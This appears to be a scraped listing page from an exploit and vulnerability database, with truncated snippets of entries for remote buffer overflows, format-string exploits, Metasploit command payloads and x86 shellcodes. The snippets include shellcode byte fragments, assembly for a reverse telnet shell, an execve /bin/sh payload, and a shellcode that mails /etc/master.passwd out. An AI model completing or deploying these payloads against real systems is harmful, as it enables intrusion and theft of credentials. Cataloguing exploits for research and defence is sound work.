Durian Web Application Server 3.02 - Remote Buffer Overflow

http://sourceforge.net/projects/durian/ / errorreportingEALL; $address = "192.168.1.3"; $serviceport = "4002"; $shellcode = "\xeb\x1b". "\x5b". "\x31\xc0". "\x50". "\x31\xc0". "\x88\x43\x59". "\x53". "\xbb\x6d\x13\x86\x7c". //WinExec, 0x7c86136d "\xff\xd3". "\x31\xc0". "\x50"...

BulletProof FTP Client 2.45 - Remote Buffer Overflow

BulletProof FTP Client 2.45 - Remote Buffer Overflow !/usr/bin/python BulletProof FTP Client V2.45 0day Buffer Overflow PoC Exploit Vendor URL: http://www.bpftp.com/ Bug discovered by h07 Shellcode type: Windows Execute Command calc.exe thx metasploit.com Tested on 2000 SP4 Polish Details: buffer...

BulletProof FTP Client 2.45 Remote Buffer Overflow Exploit (PoC)

Exploit for unknown platform in category remote exploits ================================================================ BulletProof FTP Client 2.45 Remote Buffer Overflow Exploit PoC ================================================================ !/usr/bin/python BulletProof FTP Client V2.45...

Microsoft Exchange X-LINK2STATE buffer overflow

Added: 01/13/2006 CVE: CVE-2005-0560 BID: 13118 OSVDB: 15467 Background Microsoft Exchange is an e-mail server for Microsoft Windows operating systems. Problem A buffer overflow condition in the handling of the X-LINK2STATE extended verb could allow a remote attacker to execute arbitrary commands...

vpasswd.cgi

The 'vpasswd.cgi' CGI is installed. Some versions do not properly check for special characters and allow a cracker to execute any command on your system. Warning : OpenVAS solely relied on the presence of this CGI, it did not determine if you specific version is vulnerable to that problem OpenVAS...

Linux Execute Command

Execute an arbitrary command or just a /bin/sh shell This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework Exec ---- Executes an arbitrary command. module MetasploitModule CachedSize = 43 include Msf::Payload::Single includ...

Windows Execute Command

Execute an arbitrary command This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework Executes a command on the target machine module MetasploitModule CachedSize = 192 include Msf::Payload::Windows::Exec end...

linux/x86 Reverse telnet 134 bytes

No description provided by source. / Reverse Telnet Shellcode by hts / / jmp 0x31 popl %esi movl %esi,0x4f%esi leal 0x8%esi,%ebx movl %ebx,0x53%esi leal 0xb%esi,%ebx movl %ebx,0x57%esi xorl %eax,%eax movb %eax,0x7%esi movb %eax,0xa%esi movb %eax,0x4e%esi movl %eax,0x5b%esi movb $0xb,%al movl...

freebsd/x86 execve /bin/sh 23 bytes 2

freebsd/x86 execve /bin/sh 23 bytes. Shellcode exploit for freebsdx86 platform / FreeBSD 23 byte execve code. Greetz to anathema, the first who published this way of writing shellcodes. greetz to preedator marcetam [email protected] / char fbsdexecve= "\x99" / cdq / "\x52" / push %edx /...

bsd/x86 cat /etc/master.passwd | mail [email] 92 bytes

Exploit for bsd/x86 platform in category shellcode ====================================================== bsd/x86 cat /etc/master.passwd | mail email 92 bytes ====================================================== / BSD version FreeBSD, OpenBSD, NetBSD. email protected 92 bytes. execve/bin/sh -c...

TCP Connection Reset Remote Exploit

No description provided by source. / By: Paul A. Watson Build a TCP packet - based on tcp1.c sample code from libnet-1.1.1 COMPILE: gcc reset-tcp.c -o reset-tcp /usr/lib/libnet.a or gcc -o reset-tcp reset-tcp.c -lnet be sure to modify the MAC addresses enetsrc/enetdst in the code, or you WILL hav...

Winmail Mail Server 2.3 Build 0402 - Remote Format String

Winmail Mail Server 2.3 Build 0402 - Remote Format String / Magic Winmail Server 2.3Build 0402 Remote Format string exploit. Coded by ThreaT. This one take advantage of a format bug in the SMTP protocol smtp port + The command to execute cannot exceed 90 characters + compile : cl.exe mwmxploit.c ...

Winmail Mail Server 2.3 Remote Format String Exploit

Exploit for unknown platform in category remote exploits ==================================================== Winmail Mail Server 2.3 Remote Format String Exploit ==================================================== / Magic Winmail Server 2.3Build 0402 Remote Format string exploit. Coded by Threa...

SQLBase buffer overflow

EXECUTE command buffer overflow...